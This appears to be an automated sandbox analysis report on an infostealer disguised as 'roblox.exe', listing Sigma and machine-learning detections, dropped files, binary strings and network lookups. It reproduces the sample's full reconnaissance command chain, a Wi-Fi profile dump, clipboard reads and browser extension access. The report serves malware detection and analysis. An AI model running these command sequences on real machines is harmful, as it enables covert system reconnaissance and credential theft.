####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7124, ParentProcessName: cmd.exe, ProcessCommandLine: net localgroup administrators, ProcessId: 1440, ProcessName: net.exe

Sigma detected: Local Accounts Discovery

Source: Process started

Author: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: Data: Command: net user, CommandLine: net user, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7124, ParentProcessName: cmd.exe, ProcessCommandLine: net user, ProcessId: 5520, ProcessName: net.exe

Sigma detected: Net.exe Execution

Source: Process started

Author: Michael Haag, Mark Woan (improvements), James Pemberton / @4A616D6573 / oscd.community (improvements): Data: Command: net user, CommandLine: net user, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7124, ParentProcessName: cmd.exe, ProcessCommandLine: net user, ProcessId: 5520, ProcessName: net.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe Get-Clipboard, CommandLine: powershell.exe Get-Clipboard, CommandLine|base64offset|contains: ~Xn, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c "powershell.exe Get-Clipboard", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 904, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe Get-Clipboard, ProcessId: 4276, ProcessName: powershell.exe

Sigma detected: SC.EXE Query Execution

Source: Process started

Author: frack113: Data: Command: sc query type= service state= all, CommandLine: sc query type= service state= all, CommandLine|base64offset|contains: , Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7124, ParentProcessName: cmd.exe, ProcessCommandLine: sc query type= service state= all, ProcessId: 5324, ProcessName: sc.exe

Sigma detected: Suspicious Execution of Hostname

Source: Process started

Author: frack113: Data: Command: hostname, CommandLine: hostname, CommandLine|base64offset|contains: -, Image: C:\Windows\System32\HOSTNAME.EXE, NewProcessName: C:\Windows\System32\HOSTNAME.EXE, OriginalFileName: C:\Windows\System32\HOSTNAME.EXE, ParentCommandLine: C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7124, ParentProcessName: cmd.exe, ProcessCommandLine: hostname, ProcessId: 5016, ProcessName: HOSTNAME.EXE

Sigma detected: Suspicious Network Command

Source: Process started

Author: frack113, Christopher Peacock '@securepeacock', SCYTHE '@scythe_io': Data: Command: C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config", CommandLine: C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Users\user\Desktop\roblox.exe, ParentImage: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe, ParentProcessId: 1892, ParentProcessName: stub.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ###

Stealing of Sensitive Information

Sigma detected: Capture Wi-Fi password

Source: Process started

Author: Joe Security: Data: Command: C:\Windows\system32\cmd.exe /c "netsh wlan show profiles", CommandLine: C:\Windows\system32\cmd.exe /c "netsh wlan show profiles", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Users\user\Desktop\roblox.exe, ParentImage: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe, ParentProcessId: 1892, ParentProcessName: stub.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "netsh wlan show profiles", ProcessId: 7108, ProcessName: cmd.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\MonsterUpdateService\Monster.exe	ReversingLabs: Detection: 63%
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	ReversingLabs: Detection: 50%

Multi AV Scanner detection for submitted file

Source: roblox.exe

ReversingLabs: Detection: 63%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\MonsterUpdateService\Monster.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: roblox.exe

Joe Sandbox ML: detected

Phishing

Overwrites the password of the administrator account

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net user administrator
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 user administrator
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net user administrator
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 user administrator

Source: roblox.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: C:\A\40\b\bin\amd64\_decimal.pdb$$ source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\sqlite3.pdb source: roblox.exe, 00000000.00000003.2221867943.000001B2AE1D2000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2581243629.00007FF8A8A92000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: cryptography_rust.pdbc source: roblox.exe, 00000000.00000003.2221867943.000001B2AE55C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ossl_ec_GFp_simple_group_set_curvecrypto\ec\ecp_smpl.cossl_ec_GFp_simple_group_check_discriminantossl_ec_GFp_simple_point_set_affine_coordinatesossl_ec_GFp_simple_point_get_affine_coordinatesossl_ec_GFp_simple_make_affineossl_ec_GFp_simple_points_make_affineossl_ec_GFp_simple_field_invossl_ec_GFp_simple_blind_coordinatescrypto\buffer\buffer.cBUF_MEM_growBUF_MEM_grow_cleancompiler: cl /Zi /Fdossl_static.pdb /MT /Zl /Gs0 /GF /Gy /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG";CPUINFO: OPENSSL_ia32cap=0x%llx:0x%llxOPENSSL_ia32cap env:%sos-specific.dllCPUINFO: crypto\initthread.cOPENSSL_ia32cap` source: roblox.exe, 00000000.00000003.2221867943.000001B2AE55C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\_w\1\b\libssl-1_1.pdb source: roblox.exe, 00000000.00000003.2221867943.000001B2ADE29000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2579902667.00007FF8A81A5000.00000002.00000001.01000000.00000013.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_decimal.pdb source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_uuid.pdb source: stub.exe, 00000003.00000002.2584414150.00007FF8B8AF2000.00000002.00000001.01000000.00000020.sdmp
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_ASM -DRC4_ASM -DMD5_ASM -DAESNI_ASM -DVPAES_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DX25519_ASM -DPOLY1305_ASM source: roblox.exe, 00000000.00000003.2221867943.000001B2ADCB3000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\python3.pdb source: roblox.exe, 00000000.00000003.2221867943.000001B2ADE29000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_ctypes.pdb source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2586250890.00007FF8B93D0000.00000002.00000001.01000000.00000007.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_queue.pdb source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_sqlite3.pdb source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\python310.pdb source: roblox.exe, 00000000.00000003.2221867943.000001B2AE1D2000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2581607529.00007FF8A8E13000.00000002.00000001.01000000.00000005.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_overlapped.pdb source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: @ compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_ASM -DRC4_ASM -DMD5_ASM -DAESNI_ASM -DVPAES_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DX25519_ASM -DPOLY1305_ASMOpenSSL 1.1.1n 15 Mar 2022built on: Tue Mar 15 18:32:50 2022 UTCplatform: VC-WIN64A-masmOPENSSLDIR: "C:\Program Files\Common Files\SSL"ENGINESDIR: "C:\Program Files\OpenSSL\lib\engines-1_1"not available source: roblox.exe, 00000000.00000003.2221867943.000001B2ADCB3000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmp
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /MT /Zl /Gs0 /GF /Gy /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG" source: roblox.exe, 00000000.00000003.2221867943.000001B2AE55C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: k1k2k3X9_62_PENTANOMIALp.otherp.onBasisp.tpBasisp.ppBasismX9_62_CHARACTERISTIC_TWOp.primep.char_twofieldTypeX9_62_FIELDIDX9_62_CURVEfieldIDcurvebaseECPARAMETERSvalue.named_curvevalue.parametersvalue.implicitlyCAECPKPARAMETERSprivateKeyparameterspublicKeyEC_PRIVATEKEYec_asn1_group2fieldidcrypto\ec\ec_asn1.cec_asn1_group2curveEC_GROUP_get_ecparametersEC_GROUP_get_ecpkparametersEC_GROUP_new_from_ecparametersEC_GROUP_new_from_ecpkparametersi2d_ECPKParametersd2i_ECPrivateKeyi2d_ECPrivateKeyi2d_ECParametersd2i_ECParameterso2i_ECPublicKeyi2o_ECPublicKeycompiler: cl /Zi /Fdossl_static.pdb /MT /Zl /Gs0 /GF /Gy /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG"3.3.2built on: Tue Sep 3 19:22:24 2024 UTCplatform: VC-WIN64AOPENSSLDIR: "C:\Program Files\Common Files\SSL"ENGINESDIR: "C:\Program Files\OpenSSL\lib\engines-3"MODULESDIR: "C:\Program Files\OpenSSL\lib\ossl-modules"CPUINFO: N/Anot availablecrypto\init.cOPENSSL_init_cryptocrypto\bio\bio_lib.cBIO_new_exbio_read_internbio_write_internBIO_sendmmsgBIO_recvmmsgBIO_putsBIO_getsBIO_get_line BIO_ctrlBIO_callback_ctrlBIO_find_type source: roblox.exe, 00000000.00000003.2221867943.000001B2AE55C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_lzma.pdbNN source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2584780619.00007FF8B8B3C000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_asyncio.pdb source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2583518260.00007FF8B78B7000.00000002.00000001.01000000.00000015.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_lzma.pdb source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2584780619.00007FF8B8B3C000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_multiprocessing.pdb source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\select.pdb source: roblox.exe, 00000000.00000003.2221867943.000001B2AE1D2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\unicodedata.pdb source: roblox.exe, 00000000.00000003.2221867943.000001B2AE55C000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577968175.00007FF8A7DCC000.00000002.00000001.01000000.00000019.sdmp
Source:	Binary string: D:\_w\1\b\libssl-1_1.pdb@@ source: roblox.exe, 00000000.00000003.2221867943.000001B2ADE29000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2579902667.00007FF8A81A5000.00000002.00000001.01000000.00000013.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_socket.pdb source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2583893009.00007FF8B7E18000.00000002.00000001.01000000.00000010.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_ssl.pdb source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2583668954.00007FF8B7DED000.00000002.00000001.01000000.00000012.sdmp
Source:	Binary string: D:\a\_work\1\s\\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: roblox.exe, 00000000.00000003.2221867943.000001B2AE55C000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2586763495.00007FF8B9F71000.00000002.00000001.01000000.00000006.sdmp
Source:	Binary string: cryptography_rust.pdb source: roblox.exe, 00000000.00000003.2221867943.000001B2AE55C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_bz2.pdb source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2585992568.00007FF8B8F8D000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_hashlib.pdb source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2585205499.00007FF8B8CB6000.00000002.00000001.01000000.00000018.sdmp
Source:	Binary string: D:\_w\1\b\libcrypto-1_1.pdb source: roblox.exe, 00000000.00000003.2221867943.000001B2ADD34000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\pyexpat.pdb source: roblox.exe, 00000000.00000003.2221867943.000001B2ADE29000.00000004.00000020.00020000.00000000.sdmp

Spreading

Performs a network lookup / discovery via ARP

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ARP.EXE arp -a
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ARP.EXE arp -a

Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe

Code function: 3_2_00007FF8A7DE3229 _errno,malloc,_errno,memset,MultiByteToWideChar,GetLastError,MultiByteToWideChar,MultiByteToWideChar,free,_errno,FindFirstFileW,_errno,FindNextFileW,WideCharToMultiByte,

3_2_00007FF8A7DE3229

Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css	Jump to behavior

Networking

Uses netstat to query active network connections and open ports

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\NETSTAT.EXE netstat -ano

Source: Joe Sandbox View

IP Address: 208.95.112.1 208.95.112.1

Source: unknown

DNS query: name: ip-api.com

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET /json HTTP/1.1Host: ip-api.comAccept: */*Accept-Encoding: gzip, deflateUser-Agent: Python/3.10 aiohttp/3.10.5

Source: global traffic	DNS traffic detected: DNS query: ip-api.com
Source: global traffic	DNS traffic detected: DNS query: restores.name

Source: roblox.exe, 00000000.00000003.2221867943.000001B2ADDAA000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000000.00000003.2221867943.000001B2ADE29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AE55C000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000000.00000003.2221867943.000001B2AE1D2000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000000.00000003.2221867943.000001B2ADE29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: roblox.exe, 00000000.00000003.2221867943.000001B2ADDAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: roblox.exe, 00000000.00000003.2221867943.000001B2ADDAA000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000000.00000003.2221867943.000001B2ADE29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: roblox.exe, 00000000.00000003.2221867943.000001B2ADDAA000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000000.00000003.2221867943.000001B2AE55C000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000000.00000003.2221867943.000001B2AE1D2000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000000.00000003.2221867943.000001B2ADE29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AE55C000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000000.00000003.2221867943.000001B2AE1D2000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000000.00000003.2221867943.000001B2ADE29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: roblox.exe, 00000000.00000003.2221867943.000001B2ADDAA000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000000.00000003.2221867943.000001B2AE55C000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000000.00000003.2221867943.000001B2AE1D2000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000000.00000003.2221867943.000001B2ADE29000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2232354797.00000289598FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://code.activestate.com/recipes/577452-a-memoize-decorator-for-instance-methods/
Source: stub.exe, 00000003.00000003.2559320224.000002895A3FF000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2563377401.000002895A415000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2558492831.000002895A3EC000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2560211642.000002895A301000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.certigna.fr/certignarootca.crl01
Source: stub.exe, 00000003.00000003.2569364627.0000028959827000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
